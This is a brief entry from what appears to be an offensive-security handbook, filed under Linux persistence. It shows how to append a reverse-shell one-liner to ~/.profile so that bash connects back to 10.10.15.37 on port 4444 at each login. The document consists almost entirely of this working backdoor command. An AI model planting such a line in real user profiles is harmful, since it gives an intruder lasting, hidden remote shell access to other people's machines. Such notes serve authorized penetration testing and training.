The .profile or .bash_profile file is commonly executed during login shell sessions.
Append a command:
echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1' &" >> ~/.profile
Trigger execution by logging in as the user.
OOTW / Chapter II - Local / 03. Linux / 03. Persistence / Bash Profile